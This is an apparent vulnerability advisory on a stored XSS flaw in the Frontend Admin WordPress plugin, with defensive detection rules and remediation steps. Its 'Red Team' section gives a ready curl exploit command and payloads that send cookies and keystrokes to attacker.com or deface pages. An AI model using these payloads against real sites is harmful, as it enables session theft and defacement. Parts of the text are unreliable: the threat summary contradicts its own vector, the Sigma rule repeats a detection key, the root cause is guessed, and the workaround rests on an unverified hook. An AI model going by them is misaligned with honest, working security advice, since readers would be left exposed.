CVE-2025-14937

Executive Summary

CVE-2025-14937 is a Stored Cross-Site Scripting (XSS) vulnerability in the Frontend Admin by DynamiApps WordPress plugin, affecting all versions up to and including 3.28.23. The flaw resides in the frontend_admin/forms/update_field AJAX action, where the acff parameter is insufficiently sanitized and output-escaped. This allows unauthenticated attackers to inject arbitrary web scripts that execute when any user accesses the compromised page. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and is not an NPM, PyPI, Go, or Ruby package. Users should verify the integrity of the plugin file by checking its SHA-256 hash against the official repository. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must visit the injected page
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – potential data theft via script execution
• Integrity Impact: Low (I:L) – injected scripts can modify content
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is unauthenticated and can be exploited without user interaction beyond visiting a page. The stored nature means payloads persist until cleaned.

Deep Dive & Mechanics

The vulnerability exists in the AJAX handler for frontend_admin/forms/update_field. The acff parameter is passed through insufficient sanitization and output escaping. The plugin likely uses update_field() from Advanced Custom Fields (ACF) or a similar function, but fails to sanitize the field value before storing it in the database. When the field is rendered on the frontend, the malicious script executes.

Root Cause: The plugin does not apply wp_kses() or similar sanitization to the acff parameter, and does not escape output with esc_html() or wp_kses_post() when displaying the field value.

Attack Flow:

1. Attacker sends a POST request to /wp-admin/admin-ajax.php with action=frontend_admin/forms/update_field and acff=<script>alert(1)</script>.
2. The plugin stores the payload in the WordPress database (likely as post meta or user meta).
3. When an administrator or visitor views the page containing the field, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical):

// Vulnerable: no sanitization or escaping
$field_value = $_POST['acff'];
update_field($field_key, $field_value, $post_id);

Patched Code (hypothetical):

// Patched: sanitize input and escape output
$field_value = sanitize_text_field($_POST['acff']);
update_field($field_key, $field_value, $post_id);
// When rendering:
echo esc_html(get_field($field_key, $post_id));

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Frontend Admin plugin <= 3.28.23
• A publicly accessible form that uses the update_field AJAX action

Exploit Steps:

1. Identify the AJAX endpoint: /wp-admin/admin-ajax.php
2. Craft a POST request with the following parameters:
   • action=frontend_admin/forms/update_field
   • acff=<script>alert(document.cookie)</script>
   • field_key=your_field_key (may need to be discovered)
   • post_id=target_post_id (optional, defaults to current post)

Example cURL command:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=frontend_admin/forms/update_field" \
  -d "acff=<script>alert(document.cookie)</script>" \
  -d "field_key=field_12345" \
  -d "post_id=1"

Payload Variations:

• Steal cookies: <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
• Deface page: <script>document.body.innerHTML='<h1>Hacked</h1>'</script>
• Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/k?k='+e.key)}</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor AJAX requests to admin-ajax.php with action=frontend_admin/forms/update_field and suspicious acff values (e.g., containing <script>).
• Check for unexpected changes to post meta or user meta fields.

Hardening:

• Apply input validation and output escaping as shown in the patched code.
• Use a Web Application Firewall (WAF) to block XSS payloads.
• Restrict AJAX actions to authenticated users if possible (though this vulnerability is unauthenticated).

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-ajax.php with action=frontend_admin/forms/update_field and acff containing HTML/JavaScript.
• Outbound connections to attacker-controlled domains from compromised WordPress instances.

File IOCs:

• Modified post meta or user meta entries containing <script> tags.
• Plugin file /wp-content/plugins/frontend-admin/ may show signs of tampering.

Log IOCs:

• WordPress debug log entries showing update_field calls with unsanitized input.
• Web server access logs with admin-ajax.php and action=frontend_admin/forms/update_field.

Detection Engineering

YARA Rule

rule CVE_2025_14937_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress post meta for CVE-2025-14937"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14937"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $acff_param = "acff"
    condition:
        $acff_param and #xss_payload > 0
}

Sigma Rule

title: CVE-2025-14937 Stored XSS via Frontend Admin Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-14937 via AJAX requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=frontend_admin/forms/update_field'
        cs-uri-query|contains: 'acff='
    condition: selection
falsepositives:
    - Legitimate use of the plugin with safe content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14937 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=frontend_admin/forms/update_field"; http_client_body; content:"acff="; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Remove any stored XSS payloads from the database by searching for <script> tags in post meta and user meta.
3. Implement a WAF rule to block requests containing acff=<script.

Long-term Fix:

• The vendor must release a patched version that sanitizes the acff parameter with sanitize_text_field() or wp_kses_post() and escapes output with esc_html().
• Users should update to the latest version once available.

Workaround:

• Add the following code to the theme's functions.php to sanitize the parameter:

add_filter('frontend_admin/update_field_value', 'sanitize_text_field');

Valters IT
Securing Digital Frontiers